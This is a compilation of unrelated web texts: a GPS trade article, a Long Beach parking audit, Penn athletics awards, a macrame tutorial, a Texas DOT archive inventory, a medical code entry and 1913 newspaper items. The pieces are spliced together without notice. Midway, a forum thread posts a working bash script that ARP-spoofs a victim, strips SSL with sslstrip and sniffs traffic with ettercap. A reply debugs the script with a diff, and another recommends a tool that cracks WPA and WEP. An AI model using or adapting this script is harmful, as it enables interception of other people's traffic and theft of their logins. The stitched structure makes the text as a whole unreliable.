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By today's standards, most producers are happy to know their trucks are driving through the right subdivision, hoping the driver can find the customer's pickup. In the near future, governmental policy changes governing the control of the satellite-based Global Positioning System (GPS) will enable producers to pinpoint their deliveries and employee activities.
Department of Defense (DOD) engineers developed the GPS to monitor troop movements and deploy weapons. The system's master control center currently provides two levels of service: a precise positioning service for defense purposes and an encoded standard positioning service for civilian use. System engineers create the difference in GPS service levels by adding a position error known as "selective availability." This dual system may soon become one.
The federal government has recognized the need to increase the availability of GPS technology. In 1996, responding to the question of how GPS fits in national defense plans, the Office of Science and Technology Policy's National Security Council issued a fact sheet that recommended eliminating the dual-service system by 2006. Beginning next year, the president will receive an annual report from GPS system managers on the military need to continue adding the selective availability.
Last January, Vice President Al Gore announced a $400 million GPS modernization program that would add two new civil signals. Each new civil signal would require the addition of 18 Block HF satellites to ensure users of worldwide 24-hour signal capabilities. Even with the best estimates of federal funding, the first of the new stand-alone civilian GPS systems wouldn't be fully operative until the end of 2009.
To reduce this waiting period, in October 1998 near a Nebraska cornfield, technicians with the USDOT began working with other government agencies to develop nationwide availability of highly accurate GPS signaling. The Nebraska location is the first of a series of radio stations that will become a nationwide civilian geolocation system in 3 to 4 years. This National Differential Global Positioning System, or NDGPS, will correct not only the selective availability errors intentionally placed on GPS by DOD engineers but also those errors inherent in any satellite-based location system, such as atmospheric effects and satellite operating parameters. This new civilian-oriented system provides accuracy to within 3 meters nationwide.
Some engineering challenges will emerge before the system is fully in place. There are concerns that new closer stations may create areas of increased frequency interference. Another concern is the balance between the necessary signal strength with station location; fewer stations require a stronger signal, potentially creating more signal interference. Then there's the problem of land-based obstacles that can block radio transmissions.
When the USDOT's system is in place, planners hope to enhance the country's total transportation effort. Using GPS signals, the software can locate a truck to within the nearest street. With NDGPS, the software lets the dispatcher know, by number, if the truck is on the correct lot.
In many areas where NDGPS's higher accuracy is available, most producers elect not to use it. But in the near future, producers may want to consider the higher accuracy.
This article includes an article by Daniel Sovocool on potential legal issues with GPS. There is also a table of interesting applications underway to improve transportation.
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LONG BEACH — An audit of the city's parking citation operations found $17.6 million in unpaid fines in the past three years and a software system deemed inadequate for the collections process.
City Auditor Laura Doud recommended replacing or upgrading the current 12-year-old software as soon as possible.
"We don't need to study this out in a committee forever, we need to act now, and act swiftly," she said.
Even if officials intend to move quickly, finding and implementing a new system could take about one year, said Doud. The cost is unknown.
The audit findings, which will be discussed by the City Council on April 3, come as Long Beach faces a projected three-year, $26.1 million budget deficit.
About 345,000 citations are processed each year in Long Beach, according to city records.
More than $13 million was generated in fiscal year 2011, but a third of fines go ungathered, said Mayor Bob Foster.
"If we only got 70 percent of our paycheck every pay period, we would be disappointed," Foster said. "This is not a good mark."
He added that even collecting $2.5 million of the fine money on a yearly basis could fund 21 additional police officers.
"And you can imagine what it would do for libraries or to improve our park system," said Foster.
City leaders enacted a pilot program in 2009 targeting 18,900 vehicles known to have five or more unpaid parking citations totaling $11.7 million from 2003 to 2007.
At the time, the city purchased 20 wheel "boots" for $500 each, or $10,000, to immobilize repeat-offender vehicles located by parking enforcement officers.
Doud and Foster acknowledged Thursday that the effort was unsuccessful.
The Financial Management Department's Commercial Services Bureau administers the city's parking citations processing and collections program.
The bureau employs eight full-time and one part-time customer service representatives, one position down from the past two fiscal years.
Collections decreased to $13.1 million in 2011 from $13.7 the year before and $15.7 million in 2009.
Operations are hampered, the audit said, by the antiquated software that requires staff to process or reconcile citation billing issues manually.
Additionally, the software system doesn't connect with Department of Motor Vehicle databases showing changes to ownership, necessitating manual checks.
Audit staff members discovered that 86 percent of 200 serial offender records tested didn't have current registration information.
"They're doing the best they can with what they have, but what they have is pretty inefficient," Doud said.
A typical expired parking meter fine in Long Beach is $49. Parking in a disabled space carries a $340 penalty.
When a violation occurs, the city sends a notice by mail to the vehicle's registered owner approximately seven to 21 days after the citation is registered.
A citation is considered delinquent and a fee is added 21 days after the notice is sent.
The DMV can then suspend the owner's vehicle registration for up to two years until the outstanding violation is paid.
Foster said the city can then try to make another collection on the debt.
"That is way too long," said Foster. "That is a very mature parking violation."
The full report can be viewed at www.CityAuditorLauraDoud.com.
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PHILADELPHIA - The University of Pennsylvania's Division of Recreation and Intercollegiate Athletics (DRIA) handed out its major intercollegiate senior student-athlete awards Monday night, April 21, in a ceremony held at The Inn at Penn. Five awards were handed out.
In the two largest awards of the night, men's swimmer Rhoads Worster (Yardley, Pa.) was honored with the Class of 1915 Award while women's basketball standout Alyssa Baron (Miami, Fla.) received the Association of Alumnae Fathers' Award.
The Class of 1915 Award, given annually since 1931, is presented to the male student-athlete who best exemplifies the spirit and tradition of University of Pennsylvania Athletics. The recipient must be a senior student-athlete who shows outstanding athletic, academic, and leadership qualities. The academic standard is a 3.0 GPA. Voting on the award is conducted by the head coaches of Penn's men's varsity programs as well as selected athletic department administrators.
The Fathers' Award, meanwhile, has been given annually since 1945 to the person who is recognized for her contribution to Women's Athletics at the University of Pennsylvania. The recipient must be a senior student-athlete who shows outstanding athletic, academic, and leadership qualities. The academic standard is a 3.0 GPA, and voting on the award is conducted by the head coaches of Penn's women's varsity programs as well as selected athletic department administrators.
The Norman J. Goldring Awards was shared on the men's side by Zack Tabor (Havre de Grace, Md.) from football and Nick Rush (Hinsdale, Ill.) of sprint football, while the female recipient was Claire Walker (Tulsa, Okla.) from the women's soccer team. The Goldring Award is given to one graduating male and female student-athlete with the highest GPA who earned a varsity letter in his/her senior year. Tabor also was recipient of the George H. Frazier Award, which is given to a graduating student-athlete (male or female) with the highest GPA who competed on one of the following teams: basketball, crew, track, soccer, baseball or football.
CLASS OF 1915 AWARD – J. Rhoads Worster, men's swimming & diving
The men's swimming & diving program enjoyed an historic run at the Ivy League Championships in February, garnering its best team finish in 42 years (third place).
Rhoads Worster has been an important part of the program's ascension.
A two-year team captain, Rhoads holds three individual school records -- 100 butterfly, 100 backstroke, 200 individual medley -- and has been a part of five relay teams that hold program marks. Rhoads also is part of four Sheerr Pool records, one individual (100 fly) and three relays (200 free relay, 400 free relay, 200 medley relay).
At this year's Ivy Championships, Rhoads earned second-team All-Ivy three times, each of them as part of a relay. That added to one second-team All-Ivy honor he received as a freshman. (In swimming, athletes earn first-team All-Ivy for winning their event at the Championships, second-team All-Ivy if they finish second.) He is an eight-time finalist at the Championships, and was the Quakers' top point scorer each of the last two years at that event.
Rhoads, who competed at the 2012 U.S. Olympic Swimming Trials leading up to the London Games, was recipient of the men's swimming & diving program's Ken Halbrecht Freshman of the Year honor in 2010; the Craig Nelson Most Improved Award in 2011; and the Most Valuable award each of the last two years. He is a 10-time NCAA Championships B-Cut recipient.
Rhoads will graduate in May with a degree in economics from the College. He has been a College Swimming Coaches Association of America (CSCAA) Scholar All-America, an Academic All-Ivy selection, and a Philadelphia Inquirer Academic All-Area pick during his career at Penn.
ASSOCIATION OF ALUMNAE FATHERS' AWARD – Alyssa F. Baron, women's basketball
The women's basketball program has had quite a run during these last four years, from the bottom of the Ivy League to the top. All the way through the journey, Alyssa Baron was at the helm.
Alyssa, and the Quakers, saved their best for last. Exactly two months after losing by 31 points at home to Princeton -- the Quakers' 11th straight loss to the Tigers, all of them by a double-digit margin -- the Red and Blue made the journey to Princeton's Jadwin Gym for their regular-season finale. At stake? The winner would win the Ivy League title and an NCAA Tournament bid.
Alyssa led four Penn players in double figures that night with 23 points, and the Quakers defeated Princeton by 16 -- an amazing 47-point swing from two short months ago. It clinched the program's third Ivy title (the others coming in 2001 and 2004).
Alyssa ended her season as the Ivy League and Philadelphia Big 5 Player of the Year. She also was named a Mid-Major All-America. A two-year captain, Alyssa twice was a unanimous selection for first-team All-Ivy, and a first-team All-Big 5 pick all four of her years on campus.
Alyssa ended her career second on Penn's all-time scoring list and ninth in Ivy League history with 1,806 career points, leading the Ivies in scoring twice. She also finished among the top five all-time at Penn in assists, steals, made threes, made field goals, made free throws and free throw percentage. This year, Alyssa finished her senior season among the top 10 in the Ivy League in scoring, rebounding, assists, steals and free throw percentage. Outside of Penn, Alyssa won a gold medal with the United States team at the Maccabiah Games last summer in Israel.
Penn tied a program record this season with 22 wins, including two Big 5 road victories in the same season for the first time in school history. The Quakers also earned their first win over an ACC opponent (Miami on Jan. 1), and garnered the program's highest NCAA seed in history (12).
A communication major in the College, Alyssa has earned Academic All-Ivy and Philadelphia Inquirer Academic All-Area during her career.
GOLDRING AWARD (male) – Zachary A. Tabor, football
FRAZIER AWARD – Zachary A. Tabor, football
*Played and started all nine games at long snapper this season.
*Served on the punt and field goal units.
*Recorded a tackle in the Quakers' Ivy League win at Columbia.
*Member of two Ivy League championship teams during his career (2010, 2012).
*Double major (Religious Studies, Near Eastern Languages & Civilization) in the College of Arts and Sciences.
GOLDRING AWARD (male) – Nicholas K. Rush, sprint football
*Made 21 starts at defensive back after serving as a backup quarterback for Penn's 2010 Collegiate Sprint Football League (CSFL) championship team.
*Two-time honorable mention All-CSFL, finishing his career with 86 total tackles (51 solo).
*Recovered three fumbles, forced another, and made one interception over the course of his career.
*Career high for tackles in a game came in 2012, when he recorded 11 against Navy.
*Graduating from Wharton with a concentration in finance.
GOLDRING AWARD (female) – Claire L. Walker, women's soccer
*Team captain each of the last two years.
*Played in 14 of Penn's 17 matches in 2013, starting 13 (missed three games to injury).
*Part of a defense that shut out 12 opponents and allowed just eight goals all season, finishing among the national leaders in both categories. Penn went 12-1-4 this fall, a record for fewest losses.
*51 played/37 started in her career, scored twice from her defensive position (as a junior against Temple and Cornell).
*Capital One Academic All-District by the College Sports Information Directors of America (CoSIDA), and Philadelphia Inquirer Academic All-Area.


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Use the macrame tutorial from Rings & Things with step-by-step photos for help creating this colorful beaded macrame bracelet. You can also create a ring with the same technique. Choose a color cording to match your favorite gemstone beads or chips.
- 110" #61-571 Chinese knotting cord (about 10 meters)
- Spool #61-319 Silk bead cord (you'll use about 1/2 of a 200-yard spool)
- Various 3mm or 4mm round gemstone or glass Beads
- Various Center-drilled gemstone or glass star beads, bead caps or chips work well for the end/top beads for each meteor strand.
Cut cord into the following pieces:
One 40" piece — it will become the stationary center strands labeled "B"
One 70" piece, folded in half — it will become strands "A" and "C"
Anchor the project. Macramé projects often utilize tape or a clipboard to hold the work in place, but I found that the loop of my belt worked very well. Just don't run to answer the phone before untying yourself!
Fold the 40" piece in half; tie the loose ends to your belt loop, and tape the other (looped end) to a table directly in front of you. (My craft table had a knob on it, which was perfect.)
Fold the 70" piece in half and tie it to strand B, about 5 inches down from the place you anchored your B strands.
Knotting: This bracelet uses one basic knot: the half-knot. This is how you will attach the A and C strands to the B strands. The B strands do not actually do anything yet… just keep them pulled tight.
Start with cord A and bring behind cords B, forming a loop with the A cord (about the size of a 50 cent piece) out to the right side.
Now bring cord C behind the long length of A (now on the left side) and over cords B. Pull through the loop of cord A.
Pull somewhat tight; the tighter the cord is pulled, the smaller the knot will be. Find the desired size and, for consistency, pull at that tightness throughout the whole project.
Repeat step 3, but start on the left side instead of the right.
Now, if you were making a macramé bracelet without the addition of the meteor strands, you would just keep repeating steps 3a-3d over and over again until you reached the end, but for a meteor bracelet, you need to add some steps and short strands in between. Go back to step 3b...
Threading: Cut 60 to 100 separate lengths of bead cord about 5 inches long and able to fit through all of your beads. These will be the meteor strands. We used silk cord in a color that complemented the Chinese knotting cord.
On a 5" string, thread beads so that the pattern is the same on each end with a space in the middle, and a knot at each end. The end result should be about 1.5 inches long after the ends have been tied.
Go back to step 3b, but before you pull each knot tight, lay your beaded strands inside the loops of the A and C strands. You can also lay an additional strand behind B, but above A and C. The more meteor strands you tuck in this way, the bigger and brighter your bracelet will be! Then pull the loops tight.
Go to step 3d, and lay more meteor strands inside the loops before pulling tight. Repeat this process until you have completed a 5.5" (140mm) beaded bracelet section. Don't cut anything yet!
Make the sliding clasp of the bracelet (illustration courtesy of Rings & Things) Make the sliding clasp of the bracelet.
Untie the bracelet from your belt loop and the table. Cut strands B, leaving 5 inches on each end of the bracelet, embellishing the ends with beads if you desire.
Now begin the sliding clasp by folding the B strands over one another. Continue step 3 again, making half-knots and adding meteor strands before pulling tight. Only now you have four stationary "B" strands instead of two.
Continue on for about two inches.
To finish, cut the ends of the last half-knot, and secure the ends with glue, or carefully melt them.
When the ends of the B strands are pulled, the bracelet will tighten, allowing it to slide on and off the wrist easily.
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It took me a couple tries but I finally got it. I love a challenge and this truly was one. It turned out very nice but really not one I want to make every day. I don't think I will show my friends because they will then want one and that's just not happening.
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Would be nice if there was a pdf to download instead of waiting for all this clutter to load on my slow computer and then only having very small instructions.
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I like it! I think i am going to make this for the neck line of a tank top. Maybe some dangly earing to match.
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This looks really pretty. Would make nice hair tie too!
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Also, it is unclear how to ARP the entire network. I put in // // for target and the router IP for gateway. not sure if that would work being that the arp spoof fails.
I would appreciate any feedback.
Code:#!/bin/bash # # Synopsis: A program to sniff traffic in an SSL connection # Author: thims (thims DOT local AT gmail DOT com) # Version: 0.3 # Date: 20091107 # Comments: # ToDO: # leave blank simply here for coding style victim= gateway= sslPort=10000 etterConf=/etc/etter.conf # print help function help() { cat << EOF Usage: $0 [args] host -h, --help - Print this help and exit -i. --iface - Interface to use -e, --etconf - Location of etter.conf on the filesystem -v, --victim - IP address of desired host -g, --gateway - IP address of network gateway -s, --sslport - Desired port for sslstrip EOF } # echo supplied argument and die function die() { if [ -n "$1" ] ;then echo "$1" fi exit 1 } # nohup wrapper to check if specified program will execute correctly function noHup() { cmd="$1" nohup $cmd > /dev/null &> /dev/null & sleep 5 # here simply to handle sslstrip because it is ran by python it throws off pidof if [ $(echo "$cmd" | awk -F" " '{print $1}') == "sslstrip" ] ;then pid=$(ps ax | grep python | grep sslstrip | awk -F " " '{print $1}') else pid=$(pidof $(echo "$1" | awk -F" " '{print $1}')) fi if [ -z "$pid" ] ;then return 1 else return 0 fi } # poison the arp function spoofMac() { echo -n "Poisoning the victim...." noHup "arpspoof "$iface" -t "$victim" "$gateway"" if [ $? -gt 0 ] ;then die "Error: could not initiate arpspoof. Dieing..." fi echo $(pidof arpspoof) > /var/run/sslsniff.arpspoof.run echo "Ok" } # intercept the SSL cert function sslInit() { echo -n "Setting up SSL intercept...." echo 1 > /proc/sys/net/ipv4/ip_forward # ensure that ip_forward is set while [ $(cat /proc/sys/net/ipv4/ip_forward) == 0 ] do echo 1 > /proc/sys/net/ipv4/ip_forward done iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports "$sslPort" noHup "sslstrip -a -f -k -l "$sslPort"" if [ $? -gt 0 ] ;then die "Error: could not initiate sslstrip. Dieing..." fi echo $(ps ax | grep python | grep sslstrip | awk -F " " '{print $1}') > /var/run/sslsniff.sslstrip.run echo "Ok" } # capture the responses function capture() { # edit ettercap.conf for linNum in $(cat "$etterConf" | grep -in redir | grep iptables | awk -F: '{print $1}') do sed -i $linNum's/#//' "$etterConf" done echo -n "Starting to sniff...." ettercap -T -q "$iface" } # clean up enviroment function cleanUp() { echo "Cleaning up...." echo -n "Closing SSL proxy...." kill $(cat /var/run/sslsniff.sslstrip.run) rm /var/run/sslsniff.sslstrip.run echo "Ok" echo -n "Unpoisoning the victim...." kill -n 2 $(cat /var/run/sslsniff.arpspoof.run) rm /var/run/sslsniff.arpspoof.run echo "Ok" echo -n "Removing iptables rule and ip_forwarding...." iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports "$sslPort" echo 0 > /proc/sys/net/ipv4/ip_forward echo "Ok" # return etter.conf to the state it was found in echo -n "Returning etter.conf to the configuration we found it with...." for linNum in $(cat "$etterConf" | grep -in redir | grep iptables | awk -F: '{print $1}') do sed -i $linNum's/^/#/' "$etterConf" done echo "Ok" echo "Have a nice day!" } # initialize the whole shebang function initialize() { if [ -z "$victim" ] || [ -z "$gateway" ] ;then help echo die "Error: a syntactical one" else echo "Enviroment details:" echo " Victim: " "$victim" " Ok!" echo " Gateway/Router: " "$gateway" " OK!" echo " Interface: " "$iface" " OK!" echo " SSLStrip port: " "$sslPort" " OK!" spoofMac sslInit capture cleanUp fi } # some CLI ARGS? while [ $# -gt 0 ] do case "$1" in "-h"|"--help") help die ;; "-v"|"--victim") victim="$2" ;; "-g"|"--gw") gateway="$2" ;; "-s"|"--sslport") sslPort="$2" ;; "-i"|"--iface") if [ $(ifconfig "$2" &> /dev/null; echo $?) == 1 ] ;then die "Error: interface "$2" does not exist!" else iface="-i $2" fi ;; "-e"|"--etconf") if [ ! -e "$2" ] ;then die "Error: specified ettercap conf does not exist!" else etterConf="$2" fi ;; '') help echo die "Error: a syntactical one" ;; -*) help echo die "Error: a syntactical one" ;; esac shift done # main loop initialize
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There are more errors in this script that just the arpspoof section, but this will get you past that
Code:--- sslsniffer.sh.orig 2011-05-12 00:09:29.123538197 -0400 +++ sslsniffer.sh 2011-05-12 00:10:37.273557277 -0400 @@ -7,6 +7,7 @@ # Comments: # ToDO: +set -x # leave blank simply here for coding style victim= @@ -57,7 +58,7 @@ # poison the arp function spoofMac() { echo -n "Poisoning the victim...." - noHup "arpspoof "$iface" -t "$victim" "$gateway"" + noHup "arpspoof -i "$iface" -t "$victim" "$gateway"" if [ $? -gt 0 ] ;then die "Error: could not initiate arpspoof. Dieing..." fi @@ -164,7 +165,7 @@ if [ $(ifconfig "$2" &> /dev/null; echo $?) == 1 ] ;then die "Error: interface "$2" does not exist!" else - iface="-i $2" + iface="$2" fi ;; "-e"|"--etconf")
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Archangel, I found the script in these forums (i think). I thought I made a reference but apparently not.
You can try a script called WiPhire which works perfectly, it has an option for MITM using SSLStrip as well as a few others like crack WPA and WEP. I'm not sure if it runs on BT5 but you can give it a shot or just use it to check out the code. It's way easier than typing all the lines in especially when you already know them and their meanings.
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Texas Department of Transportation:
An Inventory of Department of Transportation Austin District Engineer Correspondence at the Texas State Archives, 1966-2006, bulk 1997-2004
Agency History
The Texas Department of Transportation, in cooperation with local and regional officials, is responsible for planning, designing, building, operating and maintaining the state's transportation system. This involves the planning, designing, and right-of-way acquisition of state highways and other modes of transportation, plus transportation research to save lives and money; highway and bridge construction, and airport improvements; the maintenance of roadways, bridges, airports, the Gulf Intracoastal Waterway, and ferry systems; public transportation, vehicle titles and registration, vehicle dealer registration, motor carrier registration, traffic safety, traffic information, and auto theft prevention.
The Texas Highway Department was created in 1917 (House Bill 2, 35th Texas Legislature, Regular Session) to stimulate the building and improvement of roads throughout the state. The Federal Aid Road Act of July 11, 1916 (39 Stat. 355; 16 U.S.C. 503; 23 U.S.C. 15, 48), signed into law by President Woodrow Wilson, initiated federal aid for highways with the requirement that each state receiving aid have a state highway department that controlled the building of roads. The Department was to administer federal funds to counties for state highway construction and maintenance and to provide for state motor vehicle registration, fees from which were to generate the state's required matching funds. The department began operation on June 4, 1917. After gathering information at public hearings over that summer the commission proposed an 8,865-mile state highway network. Further influence from the national level came with the Federal Highway Act of 1921, which required state highway departments to control the design, construction and maintenance of roads rather than Texas' practice of allowing counties to undertake the work themselves with oversight from department engineers.
In 1969, the Legislature created the Texas Mass Transportation Commission (House Bill 738, 61st Legislature, Regular Session) to develop public mass transportation in Texas. This agency was merged with the Highway Department in 1975, creating the State Department of Highways and Public Transportation (Senate Bill 761, 64th Legislature, Regular Session). An executive order of May 1976 transferred the Governor's Office of Traffic Safety to the Department. The Texas Department of Transportation (TxDOT) was created in 1991 (House Bill 9, 72nd Legislature, 1st Called Session), merging the Texas State Department of Highways and Public Transportation, the Texas Department of Aviation (created as the Texas Aeronautics Commission in 1945, name changed to Texas Board of Aviation in 1989); and the Texas Motor Vehicle Commission (created in 1971). In 1997 the Texas Turnpike Authority merged with the Texas Department of Transportation (Senate Bill 370, 75th Legislature, Regular Session).
The Texas Department of Transportation's governing body is the Texas Transportation Commission, originally composed of three members, increased to five in 2003 (Senate Bill 409, 78th Legislature, Regular Session). Commissioners are representatives of the general public appointed by the governor with advice and consent of the senate for overlapping six-year terms. Since 2003, one of the members must represent rural Texas. The positions are part-time salaried positions, and the chair (appointed by the governor) was originally called the commissioner of transportation; since 2003, each member is referred to as a commissioner.
The agency is headed by an executive director, who is assisted by a chief financial officer; a deputy executive director; four assistant executive directors overseeing district operations, engineering operations, innovation project development, and support operations; a special assistant for strategic policy and performance management; and the general counsel. The Internal Compliance Program Office reports directly to the deputy executive director and the Audit Office reports directly to the Transportation Commission. Additional offices include the Automobile Burglary and Theft Prevention Authority Office, Office of Civil Rights, the International Relations Office, and Office of Research and Technology Implementation.
The agency has twenty-one divisions and twenty-five district offices. Divisions are Aviation, Bridge, Construction, Design, Environmental Affairs, Finance, General Services, Government and Public Affairs, Human Resources, Maintenance, Motor Carrier, Motor Vehicle, Occupational Safety, Public Transportation, Right of Way, Technology Services, Texas Turnpike Authority, Traffic Operations, Transportation Planning and Programming, Travel, and Vehicle Titles and Registration. Districts offices are located in Abilene, Amarillo, Atlanta, Austin, Beaumont, Brownwood, Bryan, Childress, Corpus Christi, Dallas, El Paso, Fort Worth, Houston, Laredo, Lubbock, Lufkin, Odessa, Paris, Pharr, San Angelo, San Antonio, Tyler, Waco, Wichita Falls, and Yoakum. A district engineer manages each TxDOT district office. Each district oversees the design, location, construction and maintenance of its area's transportation systems. The Austin District covers the following counties: Bastrop, Blanco, Burnet, Caldwell, Gillespie, Hays, Lee, Llano, Mason, Travis, and Williamson.
(Sources include: Guide to Texas State Agencies, 11th edition (2001); General and Special Laws; An Informal History of the Texas Department of Transportation, Hilton Hagan, 2000; and agency's website, http://www.dot.state.tx.us/about_us/, accessed in January 2009.)
Scope and Contents of the Records
The correspondence of the Texas Department of Transportation District Engineers document the planning, design, building and maintenance of roads and other modes of transportation in the region served by each office. These records are the administrative correspondence files of the Austin District Engineer, dating 1966-2006, bulk 1997-2004. The district engineer serves as the director of the agency's district office in Austin, which covers the central Texas area (Travis and surrounding counties and portions of the Hill Country). The bulk of the files are from the current engineer, Robert Daigh, and his immediate predecessor, William Garbade. Other Austin District engineers represented in these records include Robert A. Brown and William G. Burnett. Types of materials are incoming and outgoing letters (and emails), internal memoranda, project proposals, planning documents, environmental reviews, internal newsletters, manuals, policy statements, minutes from internal meetings, and reports. There is a box of files titled "signature correspondence" - letters or memos from the engineer to other agency officials/offices or to outside parties, usually accompanied by the incoming letter or memo which initiated his response. The remaining files (bulk of this series) are correspondence with other Department of Transportation offices and officials, including the executive and deputy directors, assistant directors, and most of the divisions and offices in the agency. Correspondence with the executive officials (and some division directors) often consists of letters sent to that official and then forwarded to the district engineer for a reply or comment on the issue involved; also present are memos sent to the executive officials (or directors) from the district engineer regarding a query the engineer received or an issue he wished to discuss. There are also internal memoranda sent out from the executive offices or a division head to all district engineers. The files from the 1960s to the mid-1990s consist primarily of interagency memos and letters between the district engineer, executive offices, or divisions. The files from the mid-1990s to 2006, the bulk of the records, contain this same type of interagency memos and letters, as well as correspondence with outside parties, including legislators, congressmen, other state offices, local officials, contractors and companies working on projects, universities (such as the Center for Transportation Research at the University of Texas) and the general public. A small amount of routine correspondence is present in the late 1990s "signature correspondence" and a few topical files are present in group I.
Topics covered include the planning, design, construction, and maintenance of roads in the area covered by the Austin district, such as the construction of a toll road at US 183A, the State Highway 45 turnpike extension, expansion of FM 1626 and building State Highway 130; appeals on construction decisions (such as road expansions and closures, driveway allowances, turning lane changes); right of way issues; metropolitan mobility planning; regional implementation plans; toll roads and toll booth construction; the Trans-Texas Corridor; airport improvements; construction and maintenance of roads and bridges; research and technology issues; environmental reviews and issues; proposed projects; agency policy changes; proposed legislation and other legislative issues; bonds; federal funding for construction projects; change orders; access management for cities; transfer of maintenance and jurisdiction of roads to local governments; vehicle registration issues; vehicle safety; litigation or legal issues; local participation rules; and bidding schedules. Some general correspondence is present for the 1970s and 1980s, generally consisting of interagency memos and directives sent out to all district engineers, discussing issues such as budget and finance, training, equipment and supplies, contract management, fuel adjustments, changes in procedures, etc.
To prepare this inventory, the described materials were cursorily reviewed to delineate series, to confirm the accuracy of contents lists, to provide an estimate of dates covered, and to determine record types.
Restrictions on Access
Because of the possibility that portions of these records fall under Public Information Act exceptions including, but not limited to, email addresses (V.T.C.A., Government Code, Section 552.137), an archivist must review these records before they can be accessed for research. The records may be requested for research under the provisions of the Public Information Act (V.T.C.A., Government Code, Chapter 552). The researcher may request an interview with an archivist or submit a request by mail, fax, or email including enough description and detail about the information requested to enable the archivist to accurately identify and locate the information requested. If our review reveals information that may be excepted by the Public Information Act, we are obligated to seek an open records decision from the Attorney General on whether the records can be released. The Public Information Act allows the Archives ten working days after receiving a request to make this determination. The Attorney General has 45 working days to render a decision. Alternately, the Archives can inform you of the nature of the potentially excepted information and if you agree, that information can be redacted or removed and you can access the remainder of the records. The accession affects files in the first group of records only. Files in the second group of records are too early for email correspondence.
Materials do not circulate, but may be used in the State Archives search room. Materials will be retrieved from and returned to storage areas by staff members.
Restrictions on Use
Most records created by Texas state agencies are not copyrighted and may be freely used in any way. State records also include materials received by, not created by, state agencies. Copyright remains with the creator. The researcher is responsible for complying with U.S. Copyright Law (Title 17 U.S.C.).
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Preferred Citation
(Identify the item and cite the series), Texas Department of Transportation Austin District Engineer correspondence. Archives and Information Services Division, Texas State Library and Archives Commission.
Accession Information
Accession numbers: 2007/202, 2009/087
These records were transferred to the Archives and Information Services Division of the Texas State Library and Archives Commission by the Texas Department of Transportation on July 26, 2007 and January 15, 2009.
Processing Information
Processed by Laura K. Saegert, January 2009
Appraisal Information
These records were appraised by State Archives staff on January 15, 2009. A copy of the printed report is available in the Archives reading room, an electronic copy is on the website of the agency - http://www.tsl.state.tx.us/arc/appraisal/txdotaustinengineer.html.
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Diagnosis Code O36.72X0
Short Description: Maternal care for viable fetus in abd preg, second tri, unsp
Long Description: Maternal care for viable fetus in abdominal pregnancy, second trimester, not applicable or unspecified
This is the 2017 version of the ICD-10-CM diagnosis code O36.72X0
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Jan. 13, 1913
Growing weaker
Reports from the bedside of Mrs. A.K. Smiley this afternoon were to the effect that the patient was gradually growing weaker, and it is now regarded only as a matter of time before the end will come. There has been a perceptible change during the past week and the reactive periods which the patient goes through are resulting gradually in the loss of vitality.
Jan. 13, 1913
90 cent rate emergency fruit rate seems certain
If the orange growers of Southern California will limit the shipments of citrus fruits to 150 cars a day and if 90 per cent of the shippers will sign the request asking for the emergency fruit rate it is more than likely that the railroad officials with whom negotiations are on, will grant a rate of 90 cents a hundred, which would allow a considerable portion of the oranges to be shipped from the southern part of the state.
The foregoing is the gist of the expressions given out by representatives of the Santa Fe, the Southern Pacific and Salt Lake railroads at the conference in Los Angeles last Saturday. It has been announced that the railroads stand ready and are willing to help the shippers out in the mater of handling the orange crop, but they insist that fully 90 per cent of the shippers sign the request and that the shipments be curtailed, in order that the market not be glutted.
C.M. Brown, A. Gregory, H.W. Seager, D.C. Lefferts and J.A. Stewart returned Saturday evening from the meeting at Los Angeles which was attended by representatives of all the citrus shipping districts.
Jan. 14, 1913
Country sausage by parcels post
Mrs. E.S. Cousins, of 144 Eureka street, received a package through the parcels post this morning, which upon opening proved to be several pounds of country smoked sausage, sent by her brother-in-law, M.S. Grim, of Fredonia, Pa.
The sausage made the long trip and was in fine condition. Mrs. Cousins says this is a treat she never expected to enjoy in California and will not object to a like package again.
Jan. 14, 1913
Will of A.K. Smiley leaves $10,000 for library addition
Information from the east is to the effect that the will of the late A.K. Smiley, admitted to probate yesterday at New Paltz, N.Y., provides for the deeding of Canyon Crest Park and the Lake Mohonk property to Daniel Smiley, brother of the decedent. Also that within six years the sum of $10,000 shall be expended for an addition to the A.K. Smiley Public Library in this city. Within three years the sum of $1,000 shall be paid to each of the following educational institutions: Pomona College at Claremont, Oak Grove Seminary, at Vasselboro, Maine; the Moses Brown School, Providence, R.I.; and Haverford College, near Philadelphia.
Provision is made for Mrs. Smiley in that the legatee is to pay her an annuity, as well as to Miss Rachel Smiley, sister of the decedent. A suite is to be kept at the disposal of Mrs. Smiley at the Lake Mohonk house and the home at Canyon Crest is also at her command.
Provision is made for a continuance of the Lake Mohonk conference on International Arbitration and Indian Affairs.
The leaving of the sum of $10,000 for the construction of a new wing for the Smiley Library carries out a promise of Mr. Smiley made several years ago when the city voted bonds of $25,000 to buy the land adjoining the Library Park. Mr. Smiley stated at the time that he expected to build, before his death, or leave funds for the building of an additional wing on the south.
It is understood, in fact, that Mr. Smiley has stated to friends in the city, that he expects to keep the Canyon Crest Park open to the public in the manner his brother did and to continue it, insofar as is possible along the same lines as pursued by his brother. It will continue to be the marvel of California horticulture and an added memory of the Smiley family. The property, in addition to the large acreage in ornamental trees and flower gardens, has valuable orange groves, these in a measure, at least, maintaining it.
The news of the disposition of the property is of great interest to the people of Redlands. Mr. Smiley, before his death, called his brother Daniel from Lake Mohonk and gave final instructions for the care of the property, which was to pass into his hands and which he has been a large factor in managing for several years. To only a few was it then known definitely that he had deeded the Canyon Crest Park property to Daniel Smiley, also the valuable Lake Mohonk property.
Jan. 15, 1913
Pioneer says we'll all be doing better soon
"If I had my youth and was financially able it would be my ambition to become possessor of an orange grove, and I would want no better spot on God's footstool than right here in the Redlands district." This was the sentiment expressed by James Birch in the presence of a Facts reporter this morning. Mr. Birch is one of the pioneers of this section, having arrived here in 1874 when the city was a mere desert and when the lot now occupied by the Redlands National bank was a sheep corral. He has spent the intervening years in this city and at South Mountain, where he had the distinction of planting the first apple orchard in that section.
Mr. Birch is truly optimistic about the present situation and says, without hesitancy, that Redlands will pull out and will be a better and bigger Redlands than ever before within the next year or so.
Jan. 17, 1913
Orange shipments filled 137 carloads
While the past week has shown little activity in orange shipments as compared with previous weeks, a goodly number of cars have been sent out. The packers as a rule have been busy and practically all of the fruit that has been picked has been sent to the eastern markets. Packing for the present, at least with a number of the houses, has been suspended, the idea being to await developments as to the result of the recent rains. Many examinations are being made of the groves through the entire district and many conservatives variously estimate that all the way from 10 to 30 percent of the oranges will have escaped the recent freeze.
